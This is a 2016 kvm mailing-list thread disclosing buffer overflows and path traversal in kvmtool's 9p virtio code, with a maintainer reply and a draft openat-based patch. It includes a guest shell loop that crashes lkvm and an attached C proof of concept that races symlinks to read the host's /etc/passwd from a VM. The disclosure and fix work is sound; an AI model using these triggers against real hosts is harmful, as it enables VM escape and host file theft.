* kvmtool: vulnerabilities in 9p virtio
@ 2016-04-07 16:29 G. Campana
2016-04-09 14:53 ` André Przywara
0 siblings, 1 reply; 3+ messages in thread
From: G. Campana @ 2016-04-07 16:29 UTC (permalink / raw)
To: kvm
Hello,
I gave a quick look at the 9p code and found some vulnerabilities in
virtio/9p.c. These vulnerabilities allow attackers to break out of VMs,
which to me sounds pretty bad. Overall, there's almost no check on
inputs coming from the VMs and I expect more bugs to be present... I
hope that kvm@vger.kernel.org is the right place to discuss these bugs.
9p filesystem is used in the default configuration to share host files
with the guest. The bugs described below can be reproduced with this
configuration:
$ ./lkvm setup test
$ ./lkvm sandbox -d test -- bash
Stack buffer overflows
----------------------
sprintf is used in quite a lot of functions without checking if there's
enough space in the target string, which could lead to stack overflows.
For example, here's the code of virtio_p9_mkdir:
static void virtio_p9_mkdir(struct p9_dev *p9dev,
struct p9_pdu *pdu, u32 *outlen)
{
int ret;
char *name;
struct stat st;
struct p9_qid qid;
struct p9_fid *dfid;
char full_path[PATH_MAX];
u32 dfid_val, mode, gid;
virtio_p9_pdu_readf(pdu, "dsdd", &dfid_val,
&name, &mode, &gid);
dfid = get_fid(p9dev, dfid_val);
sprintf(full_path, "%s/%s", dfid->abs_path, name);
The string "name" represents the absolute path of the directory created
in the guest filesystem. The following commands trigger this issue and
crash lkvm:
bash-4.3# export x=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \
cd /tmp/; while :; do mkdir $x; cd $x; done
*** buffer overflow detected ***: ./lkvm terminated
Successfully exploitation of this issue may allow unprivileged attackers
to execute arbitrary code in the context of the lkvm process.
Path traversals
---------------
There is no check on data given by the VM. For example, the function
virtio_p9_create is responsible of the creation of new files. The
variable "name" is read from the guest memory and concatenated with
full_path before being passed to open:
static void virtio_p9_create(struct p9_dev *p9dev,
struct p9_pdu *pdu, u32 *outlen)
{
int fd, ret;
char *name;
struct stat st;
struct p9_qid qid;
struct p9_fid *dfid;
char full_path[PATH_MAX];
u32 dfid_val, flags, mode, gid;
virtio_p9_pdu_readf(pdu, "dsddd", &dfid_val,
&name, &flags, &mode, &gid);
dfid = get_fid(p9dev, dfid_val);
flags = virtio_p9_openflags(flags);
sprintf(full_path, "%s/%s", dfid->abs_path, name);
fd = open(full_path, flags | O_CREAT, mode);
A malicious guest able to write to the guest kernel memory can create
any file on the host filesystem (with respect to lkvm privileges).
Thanks
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: kvmtool: vulnerabilities in 9p virtio
2016-04-07 16:29 kvmtool: vulnerabilities in 9p virtio G. Campana
@ 2016-04-09 14:53 ` André Przywara
2016-04-11 9:37 ` G. Campana
0 siblings, 1 reply; 3+ messages in thread
From: André Przywara @ 2016-04-09 14:53 UTC (permalink / raw)
To: G. Campana, kvm; +Cc: Will Deacon
On 07/04/16 17:29, G. Campana wrote:
Hi,
thank you very much for the report!
> I gave a quick look at the 9p code and found some vulnerabilities in
> virtio/9p.c. These vulnerabilities allow attackers to break out of VMs,
> which to me sounds pretty bad. Overall, there's almost no check on
> inputs coming from the VMs and I expect more bugs to be present... I
> hope that kvm@vger.kernel.org is the right place to discuss these bugs.
I quickly checked the code you mentioned and your reasoning seems valid.
Since you seem to have experience in those things, do you care to make
patches for fixing it?
Is there any good practices for constructing file names while making
sure they stay within a certain hierarchy? Is realpath() a safe way?
I started fixing every occurrence of strcpy, strcat, sprintf and scanf
and will send the fixes ASAP, but would love to see some suggestion on
how to address the file name construction issues you mentioned.
Cheers,
Andre.
> 9p filesystem is used in the default configuration to share host files
> with the guest. The bugs described below can be reproduced with this
> configuration:
>
> $ ./lkvm setup test
> $ ./lkvm sandbox -d test -- bash
>
>
> Stack buffer overflows
> ----------------------
>
> sprintf is used in quite a lot of functions without checking if there's
> enough space in the target string, which could lead to stack overflows.
> For example, here's the code of virtio_p9_mkdir:
>
> static void virtio_p9_mkdir(struct p9_dev *p9dev,
> struct p9_pdu *pdu, u32 *outlen)
> {
> int ret;
> char *name;
> struct stat st;
> struct p9_qid qid;
> struct p9_fid *dfid;
> char full_path[PATH_MAX];
> u32 dfid_val, mode, gid;
>
> virtio_p9_pdu_readf(pdu, "dsdd", &dfid_val,
> &name, &mode, &gid);
> dfid = get_fid(p9dev, dfid_val);
>
> sprintf(full_path, "%s/%s", dfid->abs_path, name);
>
> The string "name" represents the absolute path of the directory created
> in the guest filesystem. The following commands trigger this issue and
> crash lkvm:
>
> bash-4.3# export x=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \
> cd /tmp/; while :; do mkdir $x; cd $x; done
> *** buffer overflow detected ***: ./lkvm terminated
>
> Successfully exploitation of this issue may allow unprivileged attackers
> to execute arbitrary code in the context of the lkvm process.
>
>
> Path traversals
> ---------------
>
> There is no check on data given by the VM. For example, the function
> virtio_p9_create is responsible of the creation of new files. The
> variable "name" is read from the guest memory and concatenated with
> full_path before being passed to open:
>
> static void virtio_p9_create(struct p9_dev *p9dev,
> struct p9_pdu *pdu, u32 *outlen)
> {
> int fd, ret;
> char *name;
> struct stat st;
> struct p9_qid qid;
> struct p9_fid *dfid;
> char full_path[PATH_MAX];
> u32 dfid_val, flags, mode, gid;
>
> virtio_p9_pdu_readf(pdu, "dsddd", &dfid_val,
> &name, &flags, &mode, &gid);
> dfid = get_fid(p9dev, dfid_val);
>
> flags = virtio_p9_openflags(flags);
>
> sprintf(full_path, "%s/%s", dfid->abs_path, name);
> fd = open(full_path, flags | O_CREAT, mode);
>
> A malicious guest able to write to the guest kernel memory can create
> any file on the host filesystem (with respect to lkvm privileges).
>
> Thanks
> --
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: kvmtool: vulnerabilities in 9p virtio
2016-04-09 14:53 ` André Przywara
@ 2016-04-11 9:37 ` G. Campana
0 siblings, 0 replies; 3+ messages in thread
From: G. Campana @ 2016-04-11 9:37 UTC (permalink / raw)
To: André Przywara, kvm; +Cc: Will Deacon
[-- Attachment #1: Type: text/plain, Size: 1443 bytes --]
Hi,
Avoiding race conditions and symlink attacks is a difficult task (the
attachment is a PoC which reads /etc/passwd in the host filesystem).
Unfortunately, I don't see any immediate solution.
I think that good practice would be to chroot to p9dev->root_dir, but it
requires root privileges (or user namespaces, but CLONE_NEWUSER isn't
available or enabled on every distros). Additionally, current directory
and root directory are shared amongst pthreads, so it doesn't fit in the
current thread model.
Although requiring a lot of work, it's the safest solution IMHO.
I tried to make a draft patch based on "at" functions (openat, unlinkat,
etc.) against a few filesystem operations (open, mkdir, and remove). I
believe it's secure, but it introduces a lot of overhead. A more elegant
solution might exist, but I didn't find it...
Cheers
On 04/09/2016 04:53 PM, André Przywara wrote:
> I quickly checked the code you mentioned and your reasoning seems valid.
> Since you seem to have experience in those things, do you care to make
> patches for fixing it?
> Is there any good practices for constructing file names while making
> sure they stay within a certain hierarchy? Is realpath() a safe way?
>
> I started fixing every occurrence of strcpy, strcat, sprintf and scanf
> and will send the fixes ASAP, but would love to see some suggestion on
> how to address the file name construction issues you mentioned.
>
> Cheers,
> Andre.
[-- Attachment #2: race.c --]
[-- Type: text/x-csrc, Size: 1139 bytes --]
#include <err.h>
#include <time.h>
#include <fcntl.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/prctl.h>
#define TMP "/tmp/race"
static void parent(void)
{
char buffer[4096];
int fd, ret;
memset(buffer, 0, sizeof(buffer));
while (1) {
fd = open(TMP "/passwd", 0644);
if (fd != -1) {
ret = read(fd, buffer, sizeof(buffer)-1);
/* don't break on guest's /etc/passwd:
* root:x:0:0:root:/root:/bin/sh\n */
if (ret > 30) {
printf("[%s]\n", buffer);
break;
}
close(fd);
}
}
exit(0);
}
static void child(void)
{
if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) != 0)
err(1, "prctl");
srand(time(NULL));
while (1) {
rename(TMP, TMP "1");
symlink("../../../../../../../../../../etc/", TMP);
usleep(rand() % 10000);
unlink(TMP);
rename(TMP "1", TMP);
usleep(rand() % 10000);
}
exit(0);
}
int main(int argc, char *argv[])
{
pid_t pid;
mkdir(TMP, 0755);
pid = fork();
if (pid == -1)
err(1, "fork");
else if (pid == 0)
child();
else
parent();
return 0;
}
[-- Attachment #3: race.patch --]
[-- Type: text/x-patch, Size: 4394 bytes --]
commit 08333a8d96f6af83be1e6f1b10b4f328ad292bf0
Author: Your Name <you@example.com>
Date: Mon Apr 11 01:50:38 2016 -0700
draft
diff --git a/virtio/9p.c b/virtio/9p.c
index 49e7c5c..0a8a371 100644
--- a/virtio/9p.c
+++ b/virtio/9p.c
@@ -222,6 +222,140 @@ static bool is_dir(struct p9_fid *fid)
return S_ISDIR(st.st_mode);
}
+struct relpath {
+ char buf[PATH_MAX];
+ char *directory;
+ char *filename;
+ int dirfd;
+};
+
+static int split_path(const char *path, struct relpath *relpath)
+{
+ size_t size;
+ char *p;
+
+ size = strlen(path);
+ if (size == 0 || size >= sizeof(relpath->buf))
+ return -1;
+
+ /* ensure path is absolute */
+ if (path[0] != '/')
+ return -1;
+
+ strncpy(relpath->buf, path, sizeof(relpath->buf));
+
+ /* remove trailing slashes */
+ p = relpath->buf + size - 1;
+ while (p > relpath->buf && *p == '/')
+ *p-- = '\x00';
+
+ /* split directory from filename */
+ relpath->filename = strrchr(relpath->buf, '/');
+ if (relpath->filename != relpath->buf)
+ relpath->directory = relpath->buf;
+ else
+ relpath->directory = (char *)"/";
+ *relpath->filename++ = '\x00';
+
+ return 0;
+}
+
+/*
+ * Ensure that dirfd is inside the root directory.
+ */
+static bool inside_root_dir(struct p9_dev *p9dev, int dirfd)
+{
+ char buf[64], resolved_path[PATH_MAX];
+ size_t size;
+ int ret;
+
+ snprintf(buf, sizeof(buf), "/proc/self/fd/%d", dirfd);
+
+ ret = readlink(buf, resolved_path, sizeof(resolved_path));
+ if (ret < 0 || ret >= (ssize_t)sizeof(resolved_path))
+ return false;
+
+ resolved_path[ret] = '\x00';
+
+ size = strlen(p9dev->root_dir);
+ if (strncmp(resolved_path, p9dev->root_dir, size))
+ return false;
+
+ if (p9dev->root_dir[size-1] != '/' && resolved_path[size] != '/')
+ return false;
+
+ return true;
+}
+
+static int open_directory(struct p9_dev *p9dev, const char *path,
+ struct relpath *relpath)
+{
+ if (split_path(path, relpath) != 0)
+ return -1;
+
+ relpath->dirfd = open(relpath->directory, O_DIRECTORY);
+ if (relpath->dirfd == -1)
+ return -1;
+
+ if (!inside_root_dir(p9dev, relpath->dirfd)) {
+ close(relpath->dirfd);
+ return -1;
+ }
+
+ return 0;
+}
+
+static int safe_open(struct p9_dev *p9dev, const char *path, int flags)
+{
+ struct relpath relpath;
+ int fd;
+
+ if (open_directory(p9dev, path, &relpath) != 0) {
+ errno = EINVAL;
+ return -1;
+ }
+
+ fd = openat(relpath.dirfd, relpath.filename, flags);
+ close(relpath.dirfd);
+
+ return fd;
+}
+
+static int safe_mkdir(struct p9_dev *p9dev, const char *path, mode_t mode)
+{
+ struct relpath relpath;
+ int ret;
+
+ if (open_directory(p9dev, path, &relpath) != 0) {
+ errno = EINVAL;
+ return -1;
+ }
+
+ ret = mkdirat(relpath.dirfd, relpath.filename, mode);
+ close(relpath.dirfd);
+
+ return ret;
+}
+
+static int safe_remove(struct p9_dev *p9dev, const char *pathname)
+{
+ struct relpath relpath;
+ int ret;
+
+ if (open_directory(p9dev, pathname, &relpath) != 0) {
+ errno = EINVAL;
+ return -1;
+ }
+
+ ret = unlinkat(relpath.dirfd, relpath.filename, 0);
+ if (ret != 0)
+ ret = unlinkat(relpath.dirfd, relpath.filename, AT_REMOVEDIR);
+
+ close(relpath.dirfd);
+
+ return ret;
+}
+
static void virtio_p9_open(struct p9_dev *p9dev,
struct p9_pdu *pdu, u32 *outlen)
{
@@ -244,8 +378,8 @@ static void virtio_p9_open(struct p9_dev *p9dev,
if (!new_fid->dir)
goto err_out;
} else {
- new_fid->fd = open(new_fid->abs_path,
- virtio_p9_openflags(flags));
+ new_fid->fd = safe_open(p9dev, new_fid->abs_path,
+ virtio_p9_openflags(flags));
if (new_fid->fd < 0)
goto err_out;
}
@@ -319,7 +453,7 @@ static void virtio_p9_mkdir(struct p9_dev *p9dev,
dfid = get_fid(p9dev, dfid_val);
sprintf(full_path, "%s/%s", dfid->abs_path, name);
- ret = mkdir(full_path, mode);
+ ret = safe_mkdir(p9dev, full_path, mode);
if (ret < 0)
goto err_out;
@@ -751,7 +885,7 @@ static void virtio_p9_remove(struct p9_dev *p9dev,
virtio_p9_pdu_readf(pdu, "d", &fid_val);
fid = get_fid(p9dev, fid_val);
- ret = remove(fid->abs_path);
+ ret = safe_remove(p9dev, fid->abs_path);
if (ret < 0)
goto err_out;
*outlen = pdu->write_offset;
@@ -1112,7 +1246,7 @@ static void virtio_p9_unlinkat(struct p9_dev *p9dev,
fid = get_fid(p9dev, fid_val);
sprintf(full_path, "%s/%s", fid->abs_path, name);
- ret = remove(full_path);
+ ret = safe_remove(p9dev, full_path);
if (ret < 0)
goto err_out;
free(name);
^ permalink raw reply related [flat|nested] 3+ messages in thread
end of thread, other threads:[~2016-04-11 9:37 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2016-04-07 16:29 kvmtool: vulnerabilities in 9p virtio G. Campana
2016-04-09 14:53 ` André Przywara
2016-04-11 9:37 ` G. Campana
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.